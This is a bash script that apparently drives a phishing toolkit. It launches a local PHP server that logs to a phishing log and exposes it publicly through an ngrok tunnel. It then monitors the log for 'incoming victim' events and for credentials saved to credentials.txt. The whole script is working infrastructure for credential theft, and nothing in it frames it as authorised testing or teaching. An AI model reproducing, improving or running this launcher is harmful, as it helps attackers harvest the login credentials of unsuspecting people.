#!/bin/bash # Load colors and connection check source utils/colors.sh source utils/connection.sh # Check if php is installed function check_php { if ! command -v php &>/dev/null; then printf "${BOLD}${WHITE}[${RED}x${WHITE}]${RESET} Please install php\n" exit 0 fi } # Check if ngrok is installed function check_ngrok { ngrok_installed=$( command -v ngrok &>/dev/null \ && echo true \ || echo false ) } # Check binaries function check_installation { check_php check_ngrok } # Handle exit gracefully function handle_exit { # Disable Ctrl+C (^C) character display stty -echoctl # Trap Ctrl+C (SIGINT) to kill background processes and exit cleanly trap "echo;\ printf '${BOLD}${WHITE}[${RED}*${WHITE}]${RESET} Shutting down\n';\ kill $php_pid $ngrok_pid 2>/dev/null;\ exit 0\ " INT } # Check if a port is free function is_port_free { ! lsof -i :$1 >/dev/null 2>&1 } # Generate a random 4-digit free port function get_free_port { while true; do port=$((RANDOM % 5999 + 4001)) if is_port_free "$port"; then echo "$port" return fi done } # Start PHP server and log output to file function start_php_server { php -S 0.0.0.0:$1 >> logs/phishing.log 2>&1 & php_pid=$! printf "${BOLD}${WHITE}[${GREEN}+${WHITE}]${RESET} Server started on port ${YELLOW}$1${RESET}\n" printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Local URL : ${BLUE}http://localhost:$1${RESET}\n\n" } function start_ngrok_forward { if [[ "$ngrok_installed" != "true" ]]; then printf "${BOLD}${WHITE}[${RED}!${WHITE}]${RESET} Ngrok is not installed.\n" printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Server is running locally\n" elif [[ ! -f "$HOME/.config/ngrok/ngrok.yml" ]]; then printf "${BOLD}${WHITE}[${RED}!${WHITE}]${RESET} Ngrok config not found.\n" printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Server is running locally\n" else printf "${BOLD}${WHITE}[${GREEN}?${WHITE}]${RESET} Checking internet connection " if ! connected; then printf "${BOLD}${RED}x${RESET}\n" printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Server is running locally\n" else printf "${BOLD}${GREEN} ${RESET}\n" printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Ngrok tunneling operational\n" start_ngrok fi fi } # Start ngrok and wait for public URL function start_ngrok { ngrok http $port > /dev/null 2>&1 & ngrok_pid=$! printf "\n${BOLD}${WHITE}[${GREEN}+${WHITE}]${RESET} Waiting for ngrok tunnel " while true; do ngrok_url=$(curl -s http://127.0.0.1:4040/api/tunnels | grep -o 'https://[^"]*' | head -n 1) if [[ -n "$ngrok_url" ]]; then break fi echo -n "." sleep 0.5 done printf "\n${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Public URL : ${BLUE}$ngrok_url${RESET}\n" } # Monitor log file for connections function handle_connection { printf "\n${BOLD}${WHITE}[${GREEN}*${WHITE}]${RESET} Waiting for incoming victim\n\n" tail -n 0 -f logs/phishing.log | while IFS= read -r line; do if [[ "$line" =~ \[\!\] ]] || [[ "$line" =~ \[\+\] ]] || [[ "$line" =~ \[\*\] ]]; then printf "$line\n" fi if [[ "$line" == *"[*] Saved in credentials.txt"* ]]; then printf "\n${BOLD}${WHITE}[${GREEN}*${WHITE}]${RESET} Waiting for incoming victim\n\n" fi done }